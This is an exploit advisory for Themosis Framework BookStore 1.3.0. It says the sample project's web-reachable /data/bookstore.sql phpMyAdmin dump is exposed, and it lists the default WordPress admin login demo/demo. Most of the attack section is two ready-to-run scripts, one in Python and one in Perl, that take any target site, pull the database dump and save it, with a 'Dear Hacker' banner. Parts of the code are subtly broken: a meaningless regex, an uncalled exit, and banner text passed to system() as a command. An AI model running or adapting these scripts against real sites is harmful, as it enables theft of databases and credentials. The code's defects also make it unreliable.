Themosis Framework BookStore version 1.3.0 suffers from a database disclosure vulnerability.
d0eca896ea560b9f4d251062db0d45ac
###########################################################################
# Exploit Title : Themosis Framework BookStore 1.3.0 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 10/04/2019
# Vendor Homepage : framework.themosis.com
# Software Download Link : github.com/themosis/bookstore/archive/master.zip
# Software Information Link : github.com/themosis/bookstore
# Software Version : 1.3.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/
###########################################################################
# Information about Software :
****************************
The Bookstore is a sample project used to demonstrate best practices in developing a WordPress
application or website using the Themosis framework.
The project shows to developers how to work with the APIs, how to configure and develop
a custom plugin and handle the front-end output with a custom theme.
###########################################################################
# Impact :
***********
* The product stores sensitive information in files or directories that are accessible
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
MySQL over the World Wide Web. It can be used to dump a database or a collection of
databases for backup or transfer to another SQL server (not necessarily a MySQL server).
The dump typically contains SQL statements to create the table, populate it, or both.
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
should not be found on a production system.
* It looks like this file contains a database backup/dump.
Acunetix inferred this filename from the domain name. A database backup contains a record of the
table structure and/or the data from a database and is usually in the form of a list of SQL statements.
A database backup is most often used for backing up a database so that its contents can be restored
in the event of data loss. This information is highly sensitive and should never be found on a production system.
Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible
to the web server. As a workaround, you could restrict access to this file.
Information :
************
Requirements
PHP => 5.6.4
Themosis framework => 1.3.0
Installation =>
The project comes with a local configuration and a MySQL dump.
In order to install this demo project on your local machine, please follow the steps below:
Download, from our GitHub repository, the project .zip file and extract it.
Setup a Virtual Host with a local host value of bookstore.dev.
Set Virtual Host root path to the project htdocs directory.
From your MySQL local server, create a database with a name of bookstore.
Create a MySQL user with a username of demo and a password of demo for localhost.
Assign the demo user privileges to the bookstore database.
Import project MySQL data, stored in the project data/bookstore.sql file into the bookstore database.
Open your Console/Terminal, go to the bookstore root directory and run a composer install command.
From the browser, visit the http://bookstore.dev/ URL.
The Bookstore project is now installed. Enjoy!
WordPress =>
The imported database contains a default WordPress user with an administrator role.
In order to log in the WordPress administration, visit the bookstore.dev/login
URL and use the following access:
Username: demo
Password: demo
###########################################################################
File :
******
/data/bookstore.sql
Information :
*************
-- phpMyAdmin SQL Dump
-- version 4.6.4
-- phpmyadmin.net
--
-- Host: localhost:3306
-- Generation Time: Feb 19, 2017 at 07:42 PM
-- Server version: 5.6.33
-- PHP Version: 5.6.27
-- Database: `bookstore`
-- Table structure for table `wp_commentmeta`
-- Table structure for table `wp_comments`
-- Dumping data for table `wp_comments`
-- Table structure for table `wp_links`
-- Table structure for table `wp_options`
-- Dumping data for table `wp_options`
-- Table structure for table `wp_postmeta`
-- Dumping data for table `wp_postmeta`
-- Table structure for table `wp_posts`
-- Dumping data for table `wp_posts`
-- Table structure for table `wp_termmeta`
-- Table structure for table `wp_terms`
-- Dumping data for table `wp_terms`
-- Table structure for table `wp_term_relationships`
-- Dumping data for table `wp_term_relationships`
-- Table structure for table `wp_term_taxonomy`
-- Dumping data for table `wp_term_taxonomy`
-- Table structure for table `wp_usermeta`
-- Dumping data for table `wp_usermeta`
-- Table structure for table `wp_users`
-- Dumping data for table `wp_users`
-- Indexes for dumped tables
-- Dump Completed.
raw.githubusercontent.com/themosis/bookstore/master/data/bookstore.sql
###########################################################################
# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/data/bookstore.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
###########################################################################
# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('Themosis Framework BookStore 1.3.0 Database Disclosure Exploit');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="data/bookstore.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/data/bookstore.sql");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/data/bookstore.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
###########################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###########################################################################